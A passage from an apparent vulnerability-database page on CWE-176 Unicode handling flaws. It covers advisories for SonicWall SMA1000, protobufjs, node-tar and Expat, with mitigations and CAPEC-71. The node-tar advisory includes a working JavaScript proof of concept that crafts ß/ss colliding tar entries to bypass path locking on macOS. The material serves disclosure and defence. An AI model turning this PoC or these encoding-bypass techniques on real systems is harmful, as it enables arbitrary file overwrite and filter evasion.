"aliases": [
"CVE-2026-4114"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-09T15:16:13Z",
"severity": "MODERATE"
},
"details": "Improper handling of Unicode encoding in SonicWall SMA1000 series appliances allows a remote authenticated SSLVPN admin to bypass AMC TOTP authentication.",
"id": "GHSA-q2cw-g735-jvcc",
"modified": "2026-05-10T15:31:18Z",
"published": "2026-04-09T15:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4114"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q6X5-8V7M-XCRF
Vulnerability from github – Published: 2026-05-12 15:00 – Updated: 2026-05-14 20:35Summary
protobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them.
The issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator.
Impact
An attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters.
The practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node's native UTF-8 decoding.
Preconditions
- The application must decode protobuf binary data influenced by an attacker.
- The affected protobuf string field must be decoded through protobufjs's minimal UTF-8 decoder rather than a native UTF-8 decoder.
- The application must rely on byte-level filtering or validation before protobuf string decoding.
- The decoded string must then be used in a security-sensitive context.
Workarounds
Avoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.5"
},
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.1"
},
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.0"
},
"package": {
"ecosystem": "npm",
"name": "@protobufjs/utf8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44288"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:00:11Z",
"nvd_published_at": "2026-05-13T16:16:55Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nprotobufjs includes a minimal UTF-8 decoder used in non-Node and fallback decoding paths. The affected decoder accepted overlong UTF-8 byte sequences and decoded them to their canonical characters instead of replacing them.\n\nThe issue concerns overlong encodings and code points outside the Unicode range. protobufjs may still accept some non-strict UTF-8 input for compatibility, so applications should not rely on protobufjs as a general-purpose strict UTF-8 validator.\n\n## Impact\n\nAn attacker who can provide protobuf binary data decoded through the affected UTF-8 path may be able to bypass application-level checks that inspect raw bytes before protobuf string decoding. For example, bytes that do not contain certain ASCII characters could decode to strings containing those characters.\n\nThe practical impact depends on downstream application validation and how decoded strings are used. Node.js Buffer-backed decoding paths are not directly affected when they use Node\u0027s native UTF-8 decoding.\n\n## Preconditions\n\n- The application must decode protobuf binary data influenced by an attacker.\n- The affected protobuf string field must be decoded through protobufjs\u0027s minimal UTF-8 decoder rather than a native UTF-8 decoder.\n- The application must rely on byte-level filtering or validation before protobuf string decoding.\n- The decoded string must then be used in a security-sensitive context.\n\n## Workarounds\n\nAvoid relying only on byte-level filtering before protobuf string decoding with affected versions. Validate decoded strings at the point where they are used, and prefer runtime paths that use native UTF-8 decoding where necessary.",
"id": "GHSA-q6x5-8v7m-xcrf",
"modified": "2026-05-14T20:35:04Z",
"published": "2026-05-12T15:00:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-q6x5-8v7m-xcrf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44288"
},
{
"type": "PACKAGE",
"url": "https://github.com/protobufjs/protobuf.js"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "protobufjs has overlong UTF-8 decoding"
}
GHSA-R6Q2-HW4H-H46W
Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.3"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23950"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:05:49Z",
"nvd_published_at": "2026-01-20T01:15:57Z",
"severity": "HIGH"
},
"details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n paths =\n isWindows ?\n [\u0027win32 parallelization disabled\u0027]\n : paths.map(p =\u003e {\n return stripTrailingSlashes(\n join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n ).toLowerCase()\n })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..\n-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n path: \u0027collision_ss\u0027,\n mode: 0o644,\n size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n path: \u0027collision_\u00df\u0027,\n mode: 0o644,\n size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n cwd: exploitDir,\n // Ensure jobs is high enough to allow parallel processing if locks fail\n jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n console.log(\u0027[*] Extraction complete\u0027);\n\n // Check what exists\n const files = fs.readdirSync(exploitDir);\n console.log(\u0027[*] Files in exploit dir:\u0027, files);\n files.forEach(f =\u003e {\n const p = path.join(exploitDir, f);\n const stat = fs.statSync(p);\n const content = fs.readFileSync(p, \u0027utf8\u0027);\n console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n });\n\n if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n console.log(\u0027\\[*] GOOD\u0027);\n } else {\n console.log(\u0027[-] No collision\u0027);\n }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
"id": "GHSA-r6q2-hw4h-h46w",
"modified": "2026-03-16T14:23:26Z",
"published": "2026-01-21T01:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}
GHSA-RFP9-FFQC-H4X8
Vulnerability from github – Published: 2026-09-20 00:30 – Updated: 2026-09-28 18:31Expat through 2.8.4 fails to validate low surrogates following high surrogates in UTF-16 input, allowing malformed UTF-16 sequences to be accepted. Attackers can craft UTF-16 encoded XML with lone high surrogates that consume following code units, hiding markup characters from the parser and enabling XML injection attacks.
{
"affected": [],
"aliases": [
"CVE-2026-93990"
],
"database_specific": {
"cwe_ids": [
"CWE-176"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-19T23:17:10Z",
"severity": "HIGH"
},
"details": "Expat through 2.8.4 fails to validate low surrogates following high surrogates in UTF-16 input, allowing malformed UTF-16 sequences to be accepted. Attackers can craft UTF-16 encoded XML with lone high surrogates that consume following code units, hiding markup characters from the parser and enabling XML injection attacks.",
"id": "GHSA-rfp9-ffqc-h4x8",
"modified": "2026-09-28T18:31:08Z",
"published": "2026-09-20T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93990"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/pull/1282"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/commit/ff6e1d7e750bbe245178f51a47a965dc8342861a"
},
{
"type": "WEB",
"url": "https://blog.hartwork.org/posts/expat-2-8-5-released"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/releases/tag/R_2_8_5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/expat-through-2.8.4-malformed-utf-16-acceptance-via-unchecked-surrogate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.